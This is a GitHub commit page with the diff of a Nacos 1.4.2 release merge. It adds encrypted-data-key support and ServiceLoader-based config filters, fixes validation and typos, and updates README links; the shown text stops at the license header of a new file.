Merge pull request #5532 from alibaba/develop

Merge develop to master, upgrade version to 1.4.2
This commit is contained in:
杨翊 SionYang 2021-04-29 16:37:04 +08:00 committed by GitHub
commit 11be620808
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
160 changed files with 3285 additions and 863 deletions

1
.gitignore vendored
View File

@ -16,3 +16,4 @@ work
test/logs
derby.log
yarn.lock
.flattened-pom.xml

View File

@ -10,7 +10,7 @@
## What does it do
Nacos (official site: [http://nacos.io](http://nacos.io)) is an easy-to-use platform designed for dynamic service discovery and configuration and service management. It helps you to build cloud native applications and microservices platform easily.
Nacos (official site: [nacos.io](https://nacos.io)) is an easy-to-use platform designed for dynamic service discovery and configuration and service management. It helps you to build cloud native applications and microservices platform easily.
Service is a first-class citizen in Nacos. Nacos supports almost all type of servicesfor example[Dubbo/gRPC service](https://nacos.io/en-us/docs/use-nacos-with-dubbo.html), [Spring Cloud RESTFul service](https://nacos.io/en-us/docs/use-nacos-with-springcloud.html) or [Kubernetes service](https://nacos.io/en-us/docs/use-nacos-with-kubernetes.html).
@ -55,7 +55,7 @@ sh startup.sh -m standalone
On the **Windows** platform, run the following command to start server with standalone mode. Alternatively, you can also double-click the `startup.cmd` to run NacosServer.
```
cmd startup.cmd -m standalone
startup.cmd -m standalone
```
For more details, see [quick-start.](https://nacos.io/en-us/docs/quick-start.html)
@ -113,8 +113,8 @@ These are only part of the companies using Nacos, for reference only. If you are
![Alibaba Group](https://docs.alibabagroup.com/assets2/images/en/global/logo_header.png)
![虎牙直播](https://a.msstatic.com/huya/main/img/logo.png)
![ICBC](http://v.icbc.com.cn/userfiles/Resources/ICBC/shouye/images/2017/logo.png)
![爱奇艺](http://www.iqiyipic.com/common/fix/site-v4/sprite-headLogo-index.png)
![ICBC](https://v.icbc.com.cn/userfiles/Resources/ICBC/shouye/images/2017/logo.png)
![爱奇艺](https://www.iqiyipic.com/common/fix/site-v4/sprite-headLogo-index.png)
![平安科技](https://img.alicdn.com/tfs/TB1pwi9EwHqK1RjSZJnXXbNLpXa-479-59.png)
![华夏信财](https://img.alicdn.com/tfs/TB1MZWSEzDpK1RjSZFrXXa78VXa-269-69.png)
![优客工场](https://www.urwork.cn/public/images/ui/logo.png)
@ -130,7 +130,7 @@ These are only part of the companies using Nacos, for reference only. If you are
![集萃智能](http://www.iimt.org.cn/pic/logosy.png)
![Acmedcare+](https://img.alicdn.com/tfs/TB1DZWSEzDpK1RjSZFrXXa78VXa-240-62.png)
![吾享](https://w.wuuxiang.com/theme/images/common/logo1.png)
![北京天合互联信息有限公司](http://14605854.s21i.faiusr.com/4/ABUIABAEGAAg4OvkzwUo8b-qlwUwxQ449gM!300x300.png)
![北京天合互联信息有限公司](https://14605854.s21i.faiusr.com/4/ABUIABAEGAAg4OvkzwUo8b-qlwUwxQ449gM!300x300.png)
![上海密尔克卫化工](http://www.mwclg.com/static-resource/front/images/home/img_logo_nav.png)
![大连新唯](https://www.synwe.com/logo-full.png)
![立思辰](https://user-images.githubusercontent.com/10215557/51593180-7563af00-1f2c-11e9-95b1-ec2c645d6a0b.png)

View File

@ -19,7 +19,7 @@
<parent>
<artifactId>nacos-all</artifactId>
<groupId>com.alibaba.nacos</groupId>
<version>1.4.1</version>
<version>${revision}</version>
</parent>
<modelVersion>4.0.0</modelVersion>

View File

@ -19,7 +19,7 @@
<parent>
<groupId>com.alibaba.nacos</groupId>
<artifactId>nacos-all</artifactId>
<version>1.4.1</version>
<version>${revision}</version>
</parent>
<modelVersion>4.0.0</modelVersion>

View File

@ -64,11 +64,13 @@ public class PropertyKeyConst {
public static final String NAMING_CLIENT_BEAT_THREAD_COUNT = "namingClientBeatThreadCount";
public static final String NAMING_POLLING_THREAD_COUNT = "namingPollingThreadCount";
public static final String NAMING_REQUEST_DOMAIN_RETRY_COUNT = "namingRequestDomainMaxRetryCount";
public static final String NAMING_PUSH_EMPTY_PROTECTION = "namingPushEmptyProtection";
public static final String PUSH_RECEIVER_UDP_PORT = "push.receiver.udp.port";
/**
* Get the key value of some variable value from the system property.
*/

View File

@ -65,6 +65,8 @@ public class Constants {
public static final String CONFIG_TYPE = "Config-Type";
public static final String ENCRYPTED_DATA_KEY = "Encrypted-Data-Key";
public static final String IF_MODIFIED_SINCE = "If-Modified-Since";
public static final String SPACING_INTERVAL = "client-spacing-interval";
@ -158,7 +160,7 @@ public class Constants {
public static final int NAMING_INSTANCE_ID_SEG_COUNT = 4;
public static final String NAMING_HTTP_HEADER_SPILIER = "\\|";
public static final String NAMING_HTTP_HEADER_SPLITTER = "\\|";
public static final String DEFAULT_CLUSTER_NAME = "DEFAULT";
@ -176,6 +178,8 @@ public class Constants {
public static final String SERVICE_INFO_SPLITER = "@@";
public static final int SERVICE_INFO_SPLIT_COUNT = 2;
public static final String NULL_STRING = "null";
public static final String NUMBER_PATTERN = "^\\d+$";

View File

@ -58,7 +58,7 @@ public interface ConfigService {
/**
* Add a listener to the configuration, after the server modified the configuration, the client will use the
* incoming listener callback. Recommended asynchronous processing, the application can implement the getExecutor
* method in the ManagerListener, provide a thread pool of execution. If provided, use the main thread callback, May
* method in the ManagerListener, provide a thread pool of execution. If not provided, use the main thread callback, May
* block other configurations or be blocked by other configurations.
*
* @param dataId dataId

View File

@ -18,6 +18,9 @@ package com.alibaba.nacos.api.config;
import com.alibaba.nacos.api.utils.StringUtils;
import java.util.HashMap;
import java.util.Map;
/**
* Config data type.
*
@ -60,7 +63,15 @@ public enum ConfigType {
*/
UNSET("unset");
String type;
private final String type;
private static final Map<String, ConfigType> LOCAL_MAP = new HashMap<String, ConfigType>();
static {
for (ConfigType configType : values()) {
LOCAL_MAP.put(configType.getType(), configType);
}
}
ConfigType(String type) {
this.type = type;
@ -84,11 +95,6 @@ public enum ConfigType {
if (StringUtils.isBlank(type)) {
return false;
}
for (ConfigType value : values()) {
if (value.type.equals(type)) {
return true;
}
}
return false;
return null != LOCAL_MAP.get(type) ? true : false;
}
}

View File

@ -34,7 +34,7 @@ public interface NacosConfigConverter<T> {
boolean canConvert(Class<T> targetType);
/**
* convert the Naocs's config of type S to target type T.
* Convert the Nacos' config of type S to target type T.
*
* @param config the Naocs's config to convert, which must be an instance of S (never {@code null})
* @return the converted object, which must be an instance of T (potentially {@code null})

View File

@ -0,0 +1,34 @@
/*
* Copyright 1999-2018 Alibaba Group Holding Ltd.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.alibaba.nacos.api.config.filter;
/**
* Config Filter Interface default implementation.
*
* @author luyanbo(RobberPhex)
*/
public abstract class AbstractConfigFilter implements IConfigFilter {
/**
* init.
*
* @param filterConfig Filter Config
*/
@Override
public void init(IFilterConfig filterConfig) {
}
}

View File

@ -18,10 +18,15 @@ package com.alibaba.nacos.api.config.filter;
import com.alibaba.nacos.api.exception.NacosException;
import java.util.Properties;
/**
* Config Filter Interface.
*
* <p>DO NOT implement this interface directly, you should extend <code>AbstractConfigFilter</code>.
*
* @author Nacos
* @see AbstractConfigFilter
*/
public interface IConfigFilter {
@ -30,8 +35,16 @@ public interface IConfigFilter {
*
* @param filterConfig Filter Config
*/
@Deprecated
void init(IFilterConfig filterConfig);
/**
* Init.
*
* @param properties Filter Config
*/
void init(Properties properties);
/**
* do filter.
*
@ -43,11 +56,6 @@ public interface IConfigFilter {
void doFilter(IConfigRequest request, IConfigResponse response, IConfigFilterChain filterChain)
throws NacosException;
/**
* deploy.
*/
void deploy();
/**
* Get order.
*

View File

@ -23,6 +23,14 @@ package com.alibaba.nacos.api.config.filter;
*/
public interface IConfigRequest {
/**
* put param.
*
* @param key key
* @param value value
*/
void putParameter(String key, Object value);
/**
* get param.
*

View File

@ -31,6 +31,14 @@ public interface IConfigResponse {
*/
Object getParameter(String key);
/**
* put param.
*
* @param key key
* @param value value
*/
void putParameter(String key, Object value);
/**
* Get config context.
*

View File

@ -21,6 +21,7 @@ package com.alibaba.nacos.api.config.filter;
*
* @author Nacos
*/
@Deprecated
public interface IFilterConfig {
/**

View File

@ -75,7 +75,7 @@ public class Http extends AbstractHealthChecker {
return Collections.emptyMap();
}
final Map<String, String> headerMap = new HashMap<String, String>(16);
for (final String s : headers.split(Constants.NAMING_HTTP_HEADER_SPILIER)) {
for (final String s : headers.split(Constants.NAMING_HTTP_HEADER_SPLITTER)) {
final String[] splits = s.split(":");
if (splits.length != 2) {
continue;

View File

@ -46,6 +46,9 @@ public class NamingUtils {
if (StringUtils.isBlank(serviceName)) {
throw new IllegalArgumentException("Param 'serviceName' is illegal, serviceName is blank");
}
if (StringUtils.isBlank(groupName)) {
throw new IllegalArgumentException("Param 'groupName' is illegal, groupName is blank");
}
final String resultGroupedName = groupName + Constants.SERVICE_INFO_SPLITER + serviceName;
return resultGroupedName.intern();
}
@ -75,7 +78,7 @@ public class NamingUtils {
* <pre>
* serviceName = "@@"; the length = 0; illegal
* serviceName = "group@@"; the length = 1; illegal
* serviceName = "@@serviceName"; the length = 2; legal
* serviceName = "@@serviceName"; the length = 2; illegal
* serviceName = "group@@serviceName"; the length = 2; legal
* </pre>
*
@ -87,6 +90,9 @@ public class NamingUtils {
throw new IllegalArgumentException(
"Param 'serviceName' is illegal, it should be format as 'groupName@@serviceName'");
}
if (split[0].isEmpty()) {
throw new IllegalArgumentException("Param 'serviceName' is illegal, groupName can't be empty");
}
}
/**

View File

@ -21,7 +21,7 @@
<parent>
<groupId>com.alibaba.nacos</groupId>
<artifactId>nacos-all</artifactId>
<version>1.4.1</version>
<version>${revision}</version>
<relativePath>../pom.xml</relativePath>
</parent>
<modelVersion>4.0.0</modelVersion>

View File

@ -19,7 +19,7 @@
<parent>
<groupId>com.alibaba.nacos</groupId>
<artifactId>nacos-all</artifactId>
<version>1.4.1</version>
<version>${revision}</version>
<relativePath>../pom.xml</relativePath>
</parent>

View File

@ -30,6 +30,7 @@ import com.alibaba.nacos.client.config.http.MetricsHttpAgent;
import com.alibaba.nacos.client.config.http.ServerHttpAgent;
import com.alibaba.nacos.client.config.impl.ClientWorker;
import com.alibaba.nacos.client.config.impl.LocalConfigInfoProcessor;
import com.alibaba.nacos.client.config.impl.LocalEncryptedDataKeyProcessor;
import com.alibaba.nacos.client.config.utils.ContentUtils;
import com.alibaba.nacos.client.config.utils.ParamUtils;
import com.alibaba.nacos.client.utils.LogUtils;
@ -71,7 +72,7 @@ public class NacosConfigService implements ConfigService {
private final String encode;
private final ConfigFilterChainManager configFilterChainManager = new ConfigFilterChainManager();
private final ConfigFilterChainManager configFilterChainManager;
public NacosConfigService(Properties properties) throws NacosException {
ValidatorUtils.checkInitParam(properties);
@ -82,6 +83,7 @@ public class NacosConfigService implements ConfigService {
this.encode = encodeTmp.trim();
}
initNamespace(properties);
this.configFilterChainManager = new ConfigFilterChainManager(properties);
this.agent = new MetricsHttpAgent(new ServerHttpAgent(properties));
this.agent.start();
@ -132,7 +134,7 @@ public class NacosConfigService implements ConfigService {
}
private String getConfigInner(String tenant, String dataId, String group, long timeoutMs) throws NacosException {
group = null2defaultGroup(group);
group = blank2defaultGroup(group);
ParamUtils.checkKeyParam(dataId, group);
ConfigResponse cr = new ConfigResponse();
@ -146,14 +148,18 @@ public class NacosConfigService implements ConfigService {
LOGGER.warn("[{}] [get-config] get failover ok, dataId={}, group={}, tenant={}, config={}", agent.getName(),
dataId, group, tenant, ContentUtils.truncateContent(content));
cr.setContent(content);
String encryptedDataKey = LocalEncryptedDataKeyProcessor
.getEncryptDataKeyFailover(agent.getName(), dataId, group, tenant);
cr.setEncryptedDataKey(encryptedDataKey);
configFilterChainManager.doFilter(null, cr);
content = cr.getContent();
return content;
}
try {
String[] ct = worker.getServerConfig(dataId, group, tenant, timeoutMs);
cr.setContent(ct[0]);
ConfigResponse response = worker.getServerConfig(dataId, group, tenant, timeoutMs);
cr.setContent(response.getContent());
cr.setEncryptedDataKey(response.getEncryptedDataKey());
configFilterChainManager.doFilter(null, cr);
content = cr.getContent();
@ -171,17 +177,20 @@ public class NacosConfigService implements ConfigService {
dataId, group, tenant, ContentUtils.truncateContent(content));
content = LocalConfigInfoProcessor.getSnapshot(agent.getName(), dataId, group, tenant);
cr.setContent(content);
String encryptedDataKey = LocalEncryptedDataKeyProcessor
.getEncryptDataKeyFailover(agent.getName(), dataId, group, tenant);
cr.setEncryptedDataKey(encryptedDataKey);
configFilterChainManager.doFilter(null, cr);
content = cr.getContent();
return content;
}
private String null2defaultGroup(String group) {
return (null == group) ? Constants.DEFAULT_GROUP : group.trim();
private String blank2defaultGroup(String group) {
return (StringUtils.isBlank(group)) ? Constants.DEFAULT_GROUP : group.trim();
}
private boolean removeConfigInner(String tenant, String dataId, String group, String tag) throws NacosException {
group = null2defaultGroup(group);
group = blank2defaultGroup(group);
ParamUtils.checkKeyParam(dataId, group);
String url = Constants.CONFIG_CONTROLLER_PATH;
Map<String, String> params = new HashMap<String, String>(4);
@ -218,7 +227,7 @@ public class NacosConfigService implements ConfigService {
private boolean publishConfigInner(String tenant, String dataId, String group, String tag, String appName,
String betaIps, String content, String type) throws NacosException {
group = null2defaultGroup(group);
group = blank2defaultGroup(group);
ParamUtils.checkParam(dataId, group, content);
ConfigRequest cr = new ConfigRequest();
@ -244,6 +253,10 @@ public class NacosConfigService implements ConfigService {
if (StringUtils.isNotEmpty(tag)) {
params.put("tag", tag);
}
String dataKey = (String) cr.getParameter("encryptedDataKey");
if (StringUtils.isNotEmpty(dataKey)) {
params.put("encryptedDataKey", dataKey);
}
Map<String, String> headers = new HashMap<String, String>(1);
if (StringUtils.isNotEmpty(betaIps)) {
headers.put("betaIps", betaIps);

View File

@ -38,6 +38,12 @@ public class GroupKey {
}
private static String doGetKey(String dataId, String group, String datumStr) {
if (StringUtils.isBlank(dataId)) {
throw new IllegalArgumentException("invalid dataId");
}
if (StringUtils.isBlank(group)) {
throw new IllegalArgumentException("invalid group");
}
StringBuilder sb = new StringBuilder();
urlEncode(dataId, sb);
sb.append('+');
@ -89,18 +95,18 @@ public class GroupKey {
}
}
if (StringUtils.isBlank(group)) {
if (group == null) {
group = sb.toString();
if (group.length() == 0) {
throw new IllegalArgumentException("invalid groupkey:" + groupKey);
}
} else {
tenant = sb.toString();
if (group.length() == 0) {
throw new IllegalArgumentException("invalid groupkey:" + groupKey);
}
}
if (StringUtils.isBlank(dataId)) {
throw new IllegalArgumentException("invalid dataId");
}
if (StringUtils.isBlank(group)) {
throw new IllegalArgumentException("invalid group");
}
return new String[] {dataId, group, tenant};
}

View File

@ -24,6 +24,8 @@ import com.alibaba.nacos.api.exception.NacosException;
import com.google.common.collect.Lists;
import java.util.List;
import java.util.Properties;
import java.util.ServiceLoader;
/**
* Config Filter Chain Management.
@ -34,6 +36,14 @@ public class ConfigFilterChainManager implements IConfigFilterChain {
private final List<IConfigFilter> filters = Lists.newArrayList();
public ConfigFilterChainManager(Properties properties) {
ServiceLoader<IConfigFilter> configFilters = ServiceLoader.load(IConfigFilter.class);
for (IConfigFilter configFilter : configFilters) {
configFilter.init(properties);
addFilter(configFilter);
}
}
/**
* Add filter.
*

View File

@ -65,6 +65,11 @@ public class ConfigRequest implements IConfigRequest {
param.put("content", content);
}
@Override
public void putParameter(String key, Object value) {
param.put(key, value);
}
@Override
public Object getParameter(String key) {
return param.get(key);

View File

@ -65,11 +65,32 @@ public class ConfigResponse implements IConfigResponse {
param.put("content", content);
}
public String getConfigType() {
return (String) param.get("configType");
}
public void setConfigType(String configType) {
param.put("configType", configType);
}
public String getEncryptedDataKey() {
return (String) param.get("encryptedDataKey");
}
public void setEncryptedDataKey(String encryptedDataKey) {
param.put("encryptedDataKey", encryptedDataKey);
}
@Override
public Object getParameter(String key) {
return param.get(key);
}
@Override
public void putParameter(String key, Object value) {
param.put(key, value);
}
@Override
public IConfigContext getConfigContext() {
return configContext;

View File

@ -53,7 +53,6 @@ public class MetricsHttpAgent implements HttpAgent {
throw e;
} finally {
timer.observeDuration();
timer.close();
}
return result;
@ -70,7 +69,6 @@ public class MetricsHttpAgent implements HttpAgent {
throw e;
} finally {
timer.observeDuration();
timer.close();
}
return result;
@ -84,11 +82,9 @@ public class MetricsHttpAgent implements HttpAgent {
try {
result = httpAgent.httpDelete(path, headers, paramValues, encode, readTimeoutMs);
} catch (IOException e) {
throw e;
} finally {
timer.observeDuration();
timer.close();
}
return result;

View File

@ -25,7 +25,6 @@ import com.alibaba.nacos.client.config.filter.impl.ConfigFilterChainManager;
import com.alibaba.nacos.client.config.filter.impl.ConfigResponse;
import com.alibaba.nacos.client.config.listener.impl.AbstractConfigChangeListener;
import com.alibaba.nacos.client.utils.LogUtils;
import com.alibaba.nacos.client.utils.TenantUtil;
import com.alibaba.nacos.common.utils.MD5Utils;
import org.slf4j.Logger;
@ -178,13 +177,13 @@ public class CacheData {
void checkListenerMd5() {
for (ManagerListenerWrap wrap : listeners) {
if (!md5.equals(wrap.lastCallMd5)) {
safeNotifyListener(dataId, group, content, type, md5, wrap);
safeNotifyListener(dataId, group, content, type, md5, encryptedDataKey, wrap);
}
}
}
private void safeNotifyListener(final String dataId, final String group, final String content, final String type,
final String md5, final ManagerListenerWrap listenerWrap) {
final String md5, final String encryptedDataKey, final ManagerListenerWrap listenerWrap) {
final Listener listener = listenerWrap.listener;
Runnable job = new Runnable() {
@ -205,6 +204,7 @@ public class CacheData {
cr.setDataId(dataId);
cr.setGroup(group);
cr.setContent(content);
cr.setEncryptedDataKey(encryptedDataKey);
configFilterChainManager.doFilter(null, cr);
String contentTmp = cr.getContent();
listener.receiveConfigInfo(contentTmp);
@ -259,21 +259,6 @@ public class CacheData {
return content;
}
public CacheData(ConfigFilterChainManager configFilterChainManager, String name, String dataId, String group) {
if (null == dataId || null == group) {
throw new IllegalArgumentException("dataId=" + dataId + ", group=" + group);
}
this.name = name;
this.configFilterChainManager = configFilterChainManager;
this.dataId = dataId;
this.group = group;
this.tenant = TenantUtil.getUserTenantForAcm();
listeners = new CopyOnWriteArrayList<ManagerListenerWrap>();
this.isInitializing = true;
this.content = loadCacheContentFromDiskLocal(name, dataId, group, tenant);
this.md5 = getMd5String(content);
}
public CacheData(ConfigFilterChainManager configFilterChainManager, String name, String dataId, String group,
String tenant) {
if (null == dataId || null == group) {
@ -288,6 +273,7 @@ public class CacheData {
this.isInitializing = true;
this.content = loadCacheContentFromDiskLocal(name, dataId, group, tenant);
this.md5 = getMd5String(content);
this.encryptedDataKey = loadEncryptedDataKeyFromDiskLocal(name, dataId, group, tenant);
}
// ==================
@ -318,12 +304,32 @@ public class CacheData {
private volatile String content;
private volatile String encryptedDataKey;
private int taskId;
private volatile boolean isInitializing = true;
private String type;
public String getEncryptedDataKey() {
return encryptedDataKey;
}
public void setEncryptedDataKey(String encryptedDataKey) {
this.encryptedDataKey = encryptedDataKey;
}
private String loadEncryptedDataKeyFromDiskLocal(String name, String dataId, String group, String tenant) {
String encryptedDataKey = LocalEncryptedDataKeyProcessor.getEncryptDataKeyFailover(name, dataId, group, tenant);
if (encryptedDataKey != null) {
return encryptedDataKey;
}
return LocalEncryptedDataKeyProcessor.getEncryptDataKeySnapshot(name, dataId, group, tenant);
}
private static class ManagerListenerWrap {
final Listener listener;

View File

@ -23,13 +23,13 @@ import com.alibaba.nacos.api.config.listener.Listener;
import com.alibaba.nacos.api.exception.NacosException;
import com.alibaba.nacos.client.config.common.GroupKey;
import com.alibaba.nacos.client.config.filter.impl.ConfigFilterChainManager;
import com.alibaba.nacos.client.config.filter.impl.ConfigResponse;
import com.alibaba.nacos.client.config.http.HttpAgent;
import com.alibaba.nacos.client.config.utils.ContentUtils;
import com.alibaba.nacos.client.monitor.MetricsMonitor;
import com.alibaba.nacos.client.naming.utils.CollectionUtils;
import com.alibaba.nacos.client.utils.LogUtils;
import com.alibaba.nacos.client.utils.ParamUtil;
import com.alibaba.nacos.client.utils.TenantUtil;
import com.alibaba.nacos.common.http.HttpRestResult;
import com.alibaba.nacos.common.lifecycle.Closeable;
import com.alibaba.nacos.common.utils.ConvertUtils;
@ -56,6 +56,7 @@ import java.util.concurrent.ThreadFactory;
import java.util.concurrent.TimeUnit;
import static com.alibaba.nacos.api.common.Constants.CONFIG_TYPE;
import static com.alibaba.nacos.api.common.Constants.ENCRYPTED_DATA_KEY;
import static com.alibaba.nacos.api.common.Constants.LINE_SEPARATOR;
import static com.alibaba.nacos.api.common.Constants.WORD_SEPARATOR;
@ -68,39 +69,6 @@ public class ClientWorker implements Closeable {
private static final Logger LOGGER = LogUtils.logger(ClientWorker.class);
/**
* Add listeners for data.
*
* @param dataId dataId of data
* @param group group of data
* @param listeners listeners
*/
public void addListeners(String dataId, String group, List<? extends Listener> listeners) {
group = null2defaultGroup(group);
CacheData cache = addCacheDataIfAbsent(dataId, group);
for (Listener listener : listeners) {
cache.addListener(listener);
}
}
/**
* Remove listener.
*
* @param dataId dataId of data
* @param group group of data
* @param listener listener
*/
public void removeListener(String dataId, String group, Listener listener) {
group = null2defaultGroup(group);
CacheData cache = getCache(dataId, group);
if (null != cache) {
cache.removeListener(listener);
if (cache.getListeners().isEmpty()) {
removeCache(dataId, group);
}
}
}
/**
* Add listeners for tenant.
*
@ -111,7 +79,7 @@ public class ClientWorker implements Closeable {
*/
public void addTenantListeners(String dataId, String group, List<? extends Listener> listeners)
throws NacosException {
group = null2defaultGroup(group);
group = blank2defaultGroup(group);
String tenant = agent.getTenant();
CacheData cache = addCacheDataIfAbsent(dataId, group, tenant);
for (Listener listener : listeners) {
@ -130,7 +98,7 @@ public class ClientWorker implements Closeable {
*/
public void addTenantListenersWithContent(String dataId, String group, String content,
List<? extends Listener> listeners) throws NacosException {
group = null2defaultGroup(group);
group = blank2defaultGroup(group);
String tenant = agent.getTenant();
CacheData cache = addCacheDataIfAbsent(dataId, group, tenant);
cache.setContent(content);
@ -147,7 +115,7 @@ public class ClientWorker implements Closeable {
* @param listener listener
*/
public void removeTenantListener(String dataId, String group, Listener listener) {
group = null2defaultGroup(group);
group = blank2defaultGroup(group);
String tenant = agent.getTenant();
CacheData cache = getCache(dataId, group, tenant);
if (null != cache) {
@ -158,13 +126,6 @@ public class ClientWorker implements Closeable {
}
}
private void removeCache(String dataId, String group) {
String groupKey = GroupKey.getKey(dataId, group);
cacheMap.remove(groupKey);
LOGGER.info("[{}] [unsubscribe] {}", this.agent.getName(), groupKey);
MetricsMonitor.getListenConfigCountMonitor().set(cacheMap.size());
}
void removeCache(String dataId, String group, String tenant) {
String groupKey = GroupKey.getKeyTenant(dataId, group, tenant);
cacheMap.remove(groupKey);
@ -173,37 +134,6 @@ public class ClientWorker implements Closeable {
MetricsMonitor.getListenConfigCountMonitor().set(cacheMap.size());
}
/**
* Add cache data if absent.
*
* @param dataId data id if data
* @param group group of data
* @return cache data
*/
public CacheData addCacheDataIfAbsent(String dataId, String group) {
String key = GroupKey.getKey(dataId, group);
CacheData cacheData = cacheMap.get(key);
if (cacheData != null) {
return cacheData;
}
cacheData = new CacheData(configFilterChainManager, agent.getName(), dataId, group);
// multiple listeners on the same dataid+group and race condition
CacheData lastCacheData = cacheMap.putIfAbsent(key, cacheData);
if (lastCacheData == null) {
int taskId = cacheMap.size() / (int) ParamUtil.getPerTaskConfigSize();
lastCacheData = cacheData;
lastCacheData.setTaskId(taskId);
}
// reset so that server not hang this check
lastCacheData.setInitializing(true);
LOGGER.info("[{}] [subscribe] {}", this.agent.getName(), key);
MetricsMonitor.getListenConfigCountMonitor().set(cacheMap.size());
return lastCacheData;
}
/**
* Add cache data if absent.
*
@ -218,15 +148,15 @@ public class ClientWorker implements Closeable {
if (cacheData != null) {
return cacheData;
}
cacheData = new CacheData(configFilterChainManager, agent.getName(), dataId, group, tenant);
// multiple listeners on the same dataid+group and race condition
CacheData lastCacheData = cacheMap.putIfAbsent(key, cacheData);
if (lastCacheData == null) {
//fix issue # 1317
if (enableRemoteSyncConfig) {
String[] ct = getServerConfig(dataId, group, tenant, 3000L);
cacheData.setContent(ct[0]);
ConfigResponse response = getServerConfig(dataId, group, tenant, 3000L);
cacheData.setContent(response.getContent());
}
int taskId = cacheMap.size() / (int) ParamUtil.getPerTaskConfigSize();
cacheData.setTaskId(taskId);
@ -242,10 +172,6 @@ public class ClientWorker implements Closeable {
return lastCacheData;
}
public CacheData getCache(String dataId, String group) {
return getCache(dataId, group, TenantUtil.getUserTenantForAcm());
}
public CacheData getCache(String dataId, String group, String tenant) {
if (null == dataId || null == group) {
throw new IllegalArgumentException();
@ -253,9 +179,9 @@ public class ClientWorker implements Closeable {
return cacheMap.get(GroupKey.getKeyTenant(dataId, group, tenant));
}
public String[] getServerConfig(String dataId, String group, String tenant, long readTimeout)
public ConfigResponse getServerConfig(String dataId, String group, String tenant, long readTimeout)
throws NacosException {
String[] ct = new String[2];
ConfigResponse configResponse = new ConfigResponse();
if (StringUtils.isBlank(group)) {
group = Constants.DEFAULT_GROUP;
}
@ -283,16 +209,23 @@ public class ClientWorker implements Closeable {
switch (result.getCode()) {
case HttpURLConnection.HTTP_OK:
LocalConfigInfoProcessor.saveSnapshot(agent.getName(), dataId, group, tenant, result.getData());
ct[0] = result.getData();
configResponse.setContent(result.getData());
String configType;
if (result.getHeader().getValue(CONFIG_TYPE) != null) {
ct[1] = result.getHeader().getValue(CONFIG_TYPE);
configType = result.getHeader().getValue(CONFIG_TYPE);
} else {
ct[1] = ConfigType.TEXT.getType();
configType = ConfigType.TEXT.getType();
}
return ct;
configResponse.setConfigType(configType);
String encryptedDataKey = result.getHeader().getValue(ENCRYPTED_DATA_KEY);
LocalEncryptedDataKeyProcessor
.saveEncryptDataKeySnapshot(agent.getName(), dataId, group, tenant, encryptedDataKey);
configResponse.setEncryptedDataKey(encryptedDataKey);
return configResponse;
case HttpURLConnection.HTTP_NOT_FOUND:
LocalConfigInfoProcessor.saveSnapshot(agent.getName(), dataId, group, tenant, null);
return ct;
LocalEncryptedDataKeyProcessor.saveEncryptDataKeySnapshot(agent.getName(), dataId, group, tenant, null);
return configResponse;
case HttpURLConnection.HTTP_CONFLICT: {
LOGGER.error(
"[{}] [sub-server-error] get server config being modified concurrently, dataId={}, group={}, "
@ -327,6 +260,9 @@ public class ClientWorker implements Closeable {
cacheData.setUseLocalConfigInfo(true);
cacheData.setLocalConfigInfoVersion(path.lastModified());
cacheData.setContent(content);
String encryptedDataKey = LocalEncryptedDataKeyProcessor
.getEncryptDataKeyFailover(agent.getName(), dataId, group, tenant);
cacheData.setEncryptedDataKey(encryptedDataKey);
LOGGER.warn(
"[{}] [failover-change] failover file created. dataId={}, group={}, tenant={}, md5={}, content={}",
@ -350,21 +286,24 @@ public class ClientWorker implements Closeable {
cacheData.setUseLocalConfigInfo(true);
cacheData.setLocalConfigInfoVersion(path.lastModified());
cacheData.setContent(content);
String encryptedDataKey = LocalEncryptedDataKeyProcessor
.getEncryptDataKeyFailover(agent.getName(), dataId, group, tenant);
cacheData.setEncryptedDataKey(encryptedDataKey);
LOGGER.warn(
"[{}] [failover-change] failover file changed. dataId={}, group={}, tenant={}, md5={}, content={}",
agent.getName(), dataId, group, tenant, md5, ContentUtils.truncateContent(content));
}
}
private String null2defaultGroup(String group) {
return (null == group) ? Constants.DEFAULT_GROUP : group.trim();
private String blank2defaultGroup(String group) {
return StringUtils.isBlank(group) ? Constants.DEFAULT_GROUP : group.trim();
}
/**
* Check config info.
*/
public void checkConfigInfo() {
// Dispatch taskes.
// Dispatch tasks.
int listenerSize = cacheMap.size();
// Round up the longingTaskCount.
int longingTaskCount = (int) Math.ceil(listenerSize / ParamUtil.getPerTaskConfigSize());
@ -380,7 +319,7 @@ public class ClientWorker implements Closeable {
/**
* Fetch the dataId list from server.
*
* @param cacheDatas CacheDatas for config infomations.
* @param cacheDatas CacheDatas for config information.
* @param inInitializingCacheList initial cache lists.
* @return String include dataId and group (ps: it maybe null).
* @throws Exception Exception.
@ -398,7 +337,7 @@ public class ClientWorker implements Closeable {
sb.append(cacheData.getTenant()).append(LINE_SEPARATOR);
}
if (cacheData.isInitializing()) {
// It updates when cacheData occours in cacheMap by first time.
// It updates when cacheData occurs in cacheMap by first time.
inInitializingCacheList
.add(GroupKey.getKeyTenant(cacheData.dataId, cacheData.group, cacheData.tenant));
}
@ -607,15 +546,16 @@ public class ClientWorker implements Closeable {
tenant = key[2];
}
try {
String[] ct = getServerConfig(dataId, group, tenant, 3000L);
ConfigResponse response = getServerConfig(dataId, group, tenant, 3000L);
CacheData cache = cacheMap.get(GroupKey.getKeyTenant(dataId, group, tenant));
cache.setContent(ct[0]);
if (null != ct[1]) {
cache.setType(ct[1]);
cache.setContent(response.getContent());
cache.setEncryptedDataKey(response.getEncryptedDataKey());
if (null != response.getConfigType()) {
cache.setType(response.getConfigType());
}
LOGGER.info("[{}] [data-received] dataId={}, group={}, tenant={}, md5={}, content={}, type={}",
agent.getName(), dataId, group, tenant, cache.getMd5(),
ContentUtils.truncateContent(ct[0]), ct[1]);
ContentUtils.truncateContent(response.getContent()), response.getConfigType());
} catch (NacosException ioe) {
String message = String
.format("[%s] [get-update] get changed config exception. dataId=%s, group=%s, tenant=%s",

View File

@ -73,7 +73,7 @@ public class LocalConfigInfoProcessor {
}
}
private static String readFile(File file) throws IOException {
protected static String readFile(File file) throws IOException {
if (!file.exists() || !file.isFile()) {
return null;
}

View File

@ -0,0 +1,140 @@
/*
* Copyright 1999-2018 Alibaba Group Holding Ltd.
*
* Licensed under the Apache License, Version 2.0 (the "License");
